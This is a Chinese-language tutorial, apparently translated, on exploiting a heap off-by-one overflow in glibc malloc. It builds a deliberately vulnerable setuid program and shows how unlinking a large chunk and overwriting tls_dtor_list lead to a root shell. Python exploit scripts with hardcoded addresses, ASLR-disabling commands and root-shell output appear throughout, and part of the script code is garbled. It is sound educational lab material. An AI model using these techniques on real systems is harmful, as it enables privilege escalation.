Off-By-One 漏洞(基于堆)
譯者:飛龍
預(yù)備條件:
VM 配置:Fedora 20(x86)
什么是 Off-By-One 漏洞?
在這篇文章中提到過,將源字符串復(fù)制到目標(biāo)緩沖區(qū)可能造成 Off-By-One 漏洞,當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候。
當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候,單個(gè) NULL 字符會(huì)復(fù)制到目標(biāo)緩沖區(qū)的上方。因此由于目標(biāo)緩沖區(qū)位于堆上,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊的塊頭部,并且這會(huì)導(dǎo)致任意代碼執(zhí)行。
回顧:在這篇文章中提到,在每個(gè)用戶請(qǐng)求堆內(nèi)存時(shí),堆段被劃分為多個(gè)塊。每個(gè)塊有自己的塊頭部(由malloc_chunk表示)。malloc_chunk結(jié)構(gòu)包含下面四個(gè)元素:
prev_size-- 如果前一個(gè)塊空閑,這個(gè)字段包含前一個(gè)塊的大小。否則前一個(gè)塊是分配的,這個(gè)字段包含前一個(gè)塊的用戶數(shù)據(jù)。-
size:這個(gè)字符包含分配塊的大小。字段的最后三位包含標(biāo)志信息。-
PREV_INUSE (P)如果前一個(gè)塊已分配,會(huì)設(shè)置這個(gè)位。 -
IS_MMAPPED (M)當(dāng)塊是 mmap 塊時(shí),會(huì)設(shè)置這個(gè)位。 -
NON_MAIN_ARENA (N)當(dāng)這個(gè)塊屬于線程 arena 時(shí),會(huì)設(shè)置這個(gè)位。
-
fd指向相同 bin 的下一個(gè)塊。bk指向相同 bin 的上一個(gè)塊。
漏洞代碼:
//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define SIZE 16
int main(int argc, char* argv[])
{
int fd = open("./inp_file", O_RDONLY); /* [1] */
if(fd == -1) {
printf("File open error\n");
fflush(stdout);
exit(-1);
}
if(strlen(argv[1])>1020) { /* [2] */
printf("Buffer Overflow Attempt. Exiting...\n");
exit(-2);
}
char* tmp = malloc(20-4); /* [3] */
char* p = malloc(1024-4); /* [4] */
char* p2 = malloc(1024-4); /* [5] */
char* p3 = malloc(1024-4); /* [6] */
read(fd,tmp,SIZE); /* [7] */
strcpy(p2,argv[1]); /* [8] */
free(p); /* [9] */
}
編譯命令:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward
注意:
出于我們的演示目的,關(guān)閉了 ASLR。如果你也想要繞過 ASLR,使用信息泄露 bug,或者爆破機(jī)制,在這篇文章中描述。
上述漏洞代碼的行[2]和[8]是基于堆的 off-by-one 溢出發(fā)生的地方。目標(biāo)緩沖區(qū)的長(zhǎng)度是 1020,因此長(zhǎng)度為 1020 的源字符串可能導(dǎo)致任意代碼執(zhí)行。
任意代碼執(zhí)行如何實(shí)現(xiàn)?
任意代碼執(zhí)行,當(dāng)單個(gè) NULL 字節(jié)覆蓋下一個(gè)塊(p3)的塊頭部時(shí)實(shí)現(xiàn)。當(dāng)大小為 1020 字節(jié)(p2)的塊由單個(gè)字節(jié)溢出時(shí),下一個(gè)塊(p3)的頭部中的size的最低字節(jié)會(huì)被 NULL 字節(jié)覆蓋,并不是prev_size的最低字節(jié)。
為什么
size的 LSB 會(huì)被覆蓋,而不是prev_size?
checked_request2size將用戶請(qǐng)求的大小轉(zhuǎn)換為可用大?。▋?nèi)部表示的大?。?,因?yàn)樾枰恍╊~外空間來儲(chǔ)存malloc_chunk,并且也出于對(duì)齊目的。轉(zhuǎn)換實(shí)現(xiàn)的方式是,可用大小的三個(gè)最低位始終不會(huì)為零(也就是 8 的倍數(shù),譯者注),所以可以用于放置標(biāo)志信息 P、M 和 N。
因此當(dāng)我們的漏洞代碼執(zhí)行malloc(1020)時(shí),用戶請(qǐng)求大小 1020 字節(jié)會(huì)轉(zhuǎn)換為((1020 + 4 + 7) & ~7)字節(jié)(內(nèi)部表示大?。?。1020 字節(jié)的分配塊的富余量?jī)H僅是 4 個(gè)字節(jié)。但是對(duì)于任何分配塊,我們需要 8 字節(jié)的塊頭部,以便儲(chǔ)存prev_size和size信息。因此 1024 字節(jié)的前八字節(jié)會(huì)用于塊頭部,但是現(xiàn)在我們只剩下 1016(1024 - 8)字節(jié)用于用戶數(shù)據(jù),而不是 1020 字節(jié)。但是像上面prev_size定義中所述,如果上一個(gè)塊(p2)已分配,塊(p3)的prev_size字段包含用戶數(shù)據(jù)。因此塊p3的prev_size位于這個(gè) 1024 字節(jié)的分配塊p2后面,并包含剩余 4 字節(jié)的用戶數(shù)據(jù)。這就是size的 LSB 被單個(gè) NULL 字節(jié)覆蓋,而不是prev_size的原因。
堆布局

注意:上述圖片中的攻擊者數(shù)據(jù)會(huì)在下面的“覆蓋tls_dtor_list”一節(jié)中解釋。
現(xiàn)在回到我們?cè)嫉膯栴}。
任意代碼執(zhí)行如何實(shí)現(xiàn)?
現(xiàn)在我們知道了,在 off-by-one 漏洞中,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊(p3)size字段的 LSB。這單個(gè) NULL 字節(jié)的溢出意味著這個(gè)塊(p3)的標(biāo)志信息被清空,也就是被溢出塊(p2)變成空閑塊,雖然它處于分配狀態(tài)。當(dāng)被溢出塊(p2)的標(biāo)志 P 被清空,這個(gè)不一致的狀態(tài)讓 glibc 代碼 unlink 這個(gè)塊(p2),它已經(jīng)在分配狀態(tài)。
在這篇文章中我們看到,unlink 一個(gè)已經(jīng)處于分配狀態(tài)的塊,會(huì)導(dǎo)致任意代碼執(zhí)行,因?yàn)槿魏嗡膫€(gè)字節(jié)的內(nèi)存區(qū)域都能被攻擊者的數(shù)據(jù)覆蓋。但是在同一篇文章中,我們也看到,unlink 技巧已經(jīng)廢棄,因?yàn)?glibc 近幾年來變得更加可靠。具體來說,因?yàn)椤半p向鏈表損壞”的條件,任意代碼執(zhí)行時(shí)不可能的。
但是在 2014 年末,Google 的 Project Zero 小組找到了一種方式,來成功繞過“雙向鏈表損壞”的條件,通過 unlink large 塊。
unlink:
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
// Primary circular double linked list hardening - Run time check
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
// If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
FD->bk = BK; /* [2] */
BK->fd = FD; /* [3] */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// Secondary circular double linked list hardening - Debug assert
assert (P->fd_nextsize->bk_nextsize == P); /* [4] */
assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
// If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
}
}
}
}
在 glibc malloc 中,主要的環(huán)形雙向鏈表由malloc_chunk的fd和bk字段維護(hù),而次要的環(huán)形雙向鏈表由malloc_chunk的fd_nextsize和bk_nextsize字段維護(hù)。雙向鏈表的加固看起來用在主要(行[1])和次要(行[4]和[5])的雙向鏈表上,但是次要的環(huán)形雙向鏈表的加固,只是個(gè)調(diào)試斷言語句(不像主要雙向鏈表加固那樣,是運(yùn)行時(shí)檢查),它在生產(chǎn)構(gòu)建中沒有被編譯(至少在 fedora x86 中)。因此,次要的環(huán)形雙向鏈表的加固(行[4]和[5])并不重要,這讓我們能夠向任意 4 個(gè)字節(jié)的內(nèi)存區(qū)域?qū)懭肴魏螖?shù)據(jù)(行[6]和[7])。
然而還有一些東西應(yīng)該解釋,所以讓我們更詳細(xì)地看看,unlink large 塊如何導(dǎo)致任意代碼執(zhí)行。由于攻擊者已經(jīng)控制了 -- 要被釋放的 large 塊,它覆蓋了malloc_chunk元素,像這樣:
-
fd應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。 -
bk也應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。 -
fd_nextsize應(yīng)該指向free_got_addr – 0x14。 -
bk_nextsize應(yīng)該指向system_addr。
但是根據(jù)行[6]和[7],需要讓fd_nextsize和bk_nextsize都是可寫的。fd_nextsize是可寫的,(因?yàn)樗赶蛄?code>free_got_addr – 0x14),但是bk_nextsize不是可寫的,因?yàn)樗赶蛄?code>system_addr,它屬于libc.so的文本段。讓fd_nextsize和bk_nextsize都可寫的問題,可以通過覆蓋tls_dtor_list來解決。
覆蓋tls_dtor_list:
tls_dtor_list是個(gè)線程局部的變量,它包含函數(shù)指針的列表,它們?cè)?code>exit過程中調(diào)用。__call_tls_dtors遍歷tls_dtor_list并依次調(diào)用函數(shù)。因此如果我們可以將tls_dtor_list覆蓋為堆地址,它包含system和system_arg,來替代dtor_list的func和obj,我們就能調(diào)用system。

所以現(xiàn)在攻擊者需要覆蓋要被釋放的 large 塊的malloc_chunk元素,像這樣:
-
fd應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。 -
bk也應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。 -
fd_nextsize應(yīng)該指向tls_dtor_list - 0x14。 -
bk_nextsize應(yīng)該指向含有dtor_list元素的堆地址。
fd_nextsize可寫的問題解決了,因?yàn)?code>tls_dtor_list屬于libc.so的可寫區(qū)段,并且通過反匯編_call_tls_dtors(),tls_dtor_list的地址為0xb7fe86d4。
bk_nextsize可寫的問題也解決了,因?yàn)樗赶蚨训刂贰?/p>
使用所有這些信息,讓我們編寫利用程序來攻擊漏洞二進(jìn)制的“前向合并”。
利用代碼:
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
print "Calling vulnerable program"
call(["./consolidate_forward", buf])
執(zhí)行上述利用代碼不會(huì)向我們提供 root shell。它向我們提供了一個(gè)運(yùn)行在我們的權(quán)限級(jí)別的 bash shell。嗯...
$ python -c 'print "A"*16' > inp_file
$ python exp_try.py
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$
為什么不能獲得 root shell?
當(dāng)uid != euid時(shí),/bin/bash會(huì)丟棄權(quán)限。我們的二進(jìn)制“前向合并”的真實(shí) uid 是 1000,但是它的有效 uid 是 0。因此當(dāng)system調(diào)用時(shí),bash 會(huì)丟棄權(quán)限,因?yàn)檎鎸?shí) uid 不等于有效 uid。為了解決這個(gè)問題,我們需要在system之前調(diào)用setuid(0),因?yàn)?code>_call_tls_dtors()依次遍歷tls_dtor_list,我們需要將setuid和system鏈接,以便獲得 root shell。
完整的利用代碼:
#gen_file.py
#!/usr/bin/env python
import struct
#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430
#endianess convertion
def conv(num):
return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)
print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
print "Calling vulnerable program"
call(["./consolidate_forward", buf])
執(zhí)行上述利用代碼會(huì)給我們 root shell。
$ python gen_file.py > inp_file
$ python exp.py
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$
我們的 off-by-one 漏洞代碼會(huì)向前合并塊,也可以向后合并。這種向后合并 off-by-one 漏洞代碼也可以利用。